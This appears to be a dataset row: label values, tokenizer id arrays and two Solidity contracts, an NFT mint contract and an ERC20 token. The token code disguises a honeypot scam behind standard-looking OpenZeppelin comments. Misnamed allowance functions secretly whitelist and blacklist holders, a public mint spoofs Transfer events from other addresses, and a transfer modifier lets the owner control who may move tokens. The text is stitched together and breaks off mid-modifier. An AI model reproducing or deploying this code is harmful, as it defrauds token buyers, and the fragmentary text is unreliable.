1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "./ERC721.sol";
import "./Ownable.sol";
import "./Strings.sol";
import "./Address.sol";
contract MetaverseSecret is ERC721, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.069 ether;
uint256 public costWL = 0.069 ether;
uint256 public maxSupply = 6969;
uint256 public maxMintAmount = 5;
uint256 public nftPerAddressLimit = 5;
uint256 allTokens = 0;
bool public paused = true;
bool public revealed = false;
mapping(address => uint256) public addressMintedBalance;
bool public onlyWhitelisted = true;
address[] public whitelistedAddresses;
constructor() ERC721("Metaverse's Secret", "MetaversesSecret") {
setNotRevealedURI("ipfs://QmRrZ32LukLzNzCovtDmbKoX8hpAHvNP3Cep3uAUad8aqe");
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mint(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
if (msg.sender != owner()) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(
_mintAmount <= maxMintAmount,
"max mint amount per session exceeded"
);
require(
supply + _mintAmount <= maxSupply,
"max NFT limit exceeded"
);
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
ownerMintedCount + _mintAmount < nftPerAddressLimit,
"max NFT per address exceeded"
);
if (onlyWhitelisted == true) {
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(
msg.value >= costWL * _mintAmount,
"insufficient funds"
);
} else {
require(msg.value >= cost * _mintAmount, "insufficient funds");
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
allTokens++;
}
}
function totalSupply() public view returns (uint256) {
return allTokens;
}
function isWhitelisted(address _user) public view returns (bool) {
for (uint256 i = 0; i < whitelistedAddresses.length; i++) {
if (whitelistedAddresses[i] == _user) {
return true;
}
}
return false;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString()
)
)
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function pause() public onlyOwner {
paused = true;
}
function unpause() public onlyOwner {
paused = false;
}
function setOnlyWhitelisted() public onlyOwner {
onlyWhitelisted = true;
}
function setPublic() public onlyOwner {
onlyWhitelisted = false;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
delete whitelistedAddresses;
whitelistedAddresses = _users;
}
function withdraw() public payable onlyOwner {
// This will payout the owner the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
7817,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
4769,
1012,
14017,
1000,
1025,
3206,
18804,
16070,
3366,
16748,
2102,
2003,
9413,
2278,
2581,
17465,
1010,
2219,
3085,
1063,
2478,
7817,
2005,
21318,
3372,
17788,
2575,
1025,
5164,
2270,
2918,
9496,
1025,
5164,
2270,
2918,
10288,
29048,
1027,
1000,
1012,
1046,
3385,
1000,
1025,
5164,
2270,
10289,
3726,
9453,
24979,
2072,
1025,
21318,
3372,
17788,
2575,
2270,
3465,
1027,
1014,
1012,
5757,
2683,
28855,
1025,
21318,
3372,
17788,
2575,
2270,
3465,
13668,
1027,
1014,
1012,
5757,
2683,
28855,
1025,
21318,
3372,
17788,
2575,
2270,
4098,
6342,
9397,
2135,
1027,
6353,
2575,
2683,
1025,
21318,
3372,
17788,
2575,
2270,
4098,
10020,
15464,
21723,
1027,
1019,
1025,
21318,
3372,
17788,
2575,
2270,
1050,
6199,
4842,
4215,
16200,
4757,
17960,
4183,
1027,
1019,
1025,
21318,
3372,
17788,
2575,
2035,
18715,
6132,
1027,
1014,
1025,
22017,
2140,
2270,
5864,
1027,
2995,
1025,
22017,
2140,
2270,
3936,
1027,
6270,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
4769,
10020,
3064,
26657,
1025,
22017,
2140,
2270,
2069,
2860,
16584,
29282,
3064,
1027,
2995,
1025,
4769,
1031,
1033,
2270,
2317,
9863,
11960,
14141,
25932,
1025,
9570,
2953,
1006,
1007,
9413,
2278,
2581,
17465,
1006,
1000,
18804,
16070,
1005,
1055,
3595,
1000,
1010,
1000,
18804,
16070,
11393,
16748,
2102,
1000,
1007,
1063,
2275,
17048,
2890,
3726,
9453,
24979,
2072,
1006,
1000,
12997,
10343,
1024,
1013,
1013,
1053,
2213,
12171,
2480,
16703,
7630,
2243,
23858,
14191,
3597,
2615,
2102,
22117,
2497,
3683,
2595,
2620,
22269,
4430,
16022,
2361,
2509,
3401,
2361,
2509,
6692,
6692,
2094,
2620,
20784,
2063,
1000,
1007,
1025,
1065,
1013,
1013,
4722,
3853,
1035,
2918,
9496,
1006,
1007,
4722,
3193,
7484,
2058,
15637,
5651,
1006,
5164,
3638,
1007,
1063,
2709,
2918,
9496,
1025,
1065,
3853,
12927,
1006,
21318,
3372,
17788,
2575,
1035,
12927,
22591,
16671,
1007,
2270,
3477,
3085,
1063,
5478,
1006,
999,
5864,
1010,
1000,
1996,
3206,
2003,
5864,
1000,
1007,
1025,
21318,
3372,
17788,
2575,
4425,
1027,
21948,
6279,
22086,
1006,
1007,
1025,
2065,
1006,
5796,
2290,
1012,
4604,
2121,
999,
1027,
3954,
1006,
1007,
1007,
1063,
5478,
1006,
1035,
12927,
22591,
16671,
1028,
1014,
1010,
1000,
2342,
2000,
12927,
2012,
2560,
1015,
1050,
6199,
1000,
1007,
1025,
5478,
1006,
1035,
12927,
22591,
16671,
1026,
1027,
4098,
10020,
15464,
21723,
1010,
1000,
4098,
12927,
3815,
2566,
5219,
14872,
1000,
1007,
1025,
5478,
1006,
4425,
1009,
1035,
12927,
22591,
16671,
1026,
1027,
4098,
6342,
9397,
2135,
1010,
1000,
4098,
1050,
6199,
5787,
14872,
1000,
1007,
1025,
21318,
3372,
17788,
2575,
3954,
10020,
3064,
3597,
16671,
1027,
4769,
10020,
3064,
26657,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1025,
5478,
1006,
3954,
10020,
3064,
3597,
16671,
1009,
1035,
12927,
22591,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(0x6C9FC64A53c1b71FB3f9Af64d1ae3A4931A5f4E9, initialSupply*(10**18));
_mint(0x1F98431c8aD98523631AE4a59f267346ea31F984, initialSupply*(10**18));
_mint(0x41653c7d61609D856f29355E404F310Ec4142Cfb, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
